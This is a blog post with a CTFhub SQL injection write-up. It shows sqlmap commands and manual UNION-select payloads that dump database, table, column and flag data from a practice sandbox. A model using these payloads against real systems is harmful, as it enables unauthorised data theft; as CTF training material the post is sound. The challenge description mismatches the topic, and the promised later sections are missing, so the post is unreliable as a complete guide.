Ctfhub解题 web SQL注入(全部完整版)

本文详细介绍了Web应用中常见的SQL注入漏洞利用方法,包括整数型、字符型、报错注入、布尔盲注、时间盲注等类型的注入攻击。通过sqlmap工具和手工注入的方式,演示了如何获取数据库信息、表名、列名以及最终的flag。内容覆盖了从自动化工具到手动操作的全过程。
摘要由CSDN通过智能技术生成


介绍:记录解题过程

行首输入<3得:
❤️
❤️
❤️

1.整数型注入

题目描述:通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

方法一:sqlmap注入

好用不过sqlmap,直接扫:

<1>.sqlmap爆当前数据库信息

python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" --current-db
[16:29:30] [INFO] fetching current database
current database: 'sqli'

用sqlmap爆出库名:sqli

<2>.sqlmap.列出指定数据库所有的表名

python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
[16:30:07] [INFO] retrieved: 'news'
[16:30:08] [INFO] retrieved: 'flag'
Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+

用sqlmap爆出表名:flag,news

❤️
<3>.sqlmap 列出指定表名的所有列名

python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli  -T flag  --columns
Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(100) |
+--------+--------------+

用sqlmap爆出列名:flag

<4>.sqlmap 打印输出表名指定列名字段的值数据

python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli  -T flag  -C flag --dump

拿到flag:

Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag                             |
+----------------------------------+
| ctfhub{
   c738d407d82740b4fa840800} |
+----------------------------------+

方法二:手工注入

<1>.使用order by n 语句查询字段数

1 order by 2
select * from news where id=1 order by 2
ID: 1
Data: ctfhub

<2>.使用union联合查询检测信息回显位置

id=-1 union select 1,2
select * from news where id=id=-1 union select 1,2
ID: 1
Data: 2

<3>.获取当前数据库名

id=-1 union select 1,database()
select * from news where id=id=-1 union select 1,database()
ID: 1
Data: sqli

<4>.查询数据库sqli表名

-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
select * from news where id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
ID: 1
Data: news,flag

<5>.获取flag列所有字段名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
select * from news where id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
ID: 1
Data: flag

<6>.获取指定数据库的表的列的内容

-1 union select 1,group_concat(flag) from sqli.flag
-1 union select 
CTF(Capture The Flag)是一种信息安全竞赛,通常包含各种类型的信息安全挑战,其中SQL注入(SQL Injection)是一种常见的web安全攻击技术。在CTFweb安全挑战中,选手需要利用网站应用程序的漏洞执行SQL注入攻击,目的是从数据库中获取敏感信息。 SQL注入攻击的核心是利用用户输入与数据库交互时的不当处理,注入恶意的SQL语句。通过这种注入,攻击者可以控制数据库的查询过程,执行包括但不限于数据检索、修改、删除甚至数据库命令的执行等操作。 在CTF中,解决SQL注入问题通常包括以下几个步骤: 1. 发现注入点:选手需要通过各种手段(如测试特殊字符、逻辑判断、时间延迟等)来判断用户输入是否被直接插入到SQL查询中。 2. 构造注入payload:一旦找到注入点,选手需要构造特定的SQL语句来利用这个漏洞,这通常包括逻辑判断、联合查询、子查询等技术。 3. 数据提取:通过构造的SQL注入语句,选手可以提取数据库中的敏感信息,如用户数据、密码哈希值等。 4. 提取flag:在CTF竞赛中,通常存在一个包含“flag”的数据项,选手需要将获取的数据与flag格式对比,最终提交正确的flag格式以获得分数。 SQL注入攻击是非法的,在实际操作中,了解和学习SQL注入是为了更好地保护自己的网站免受此类攻击,而在CTF竞赛中,这种攻击则是为了学习和提高网络安全技能。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值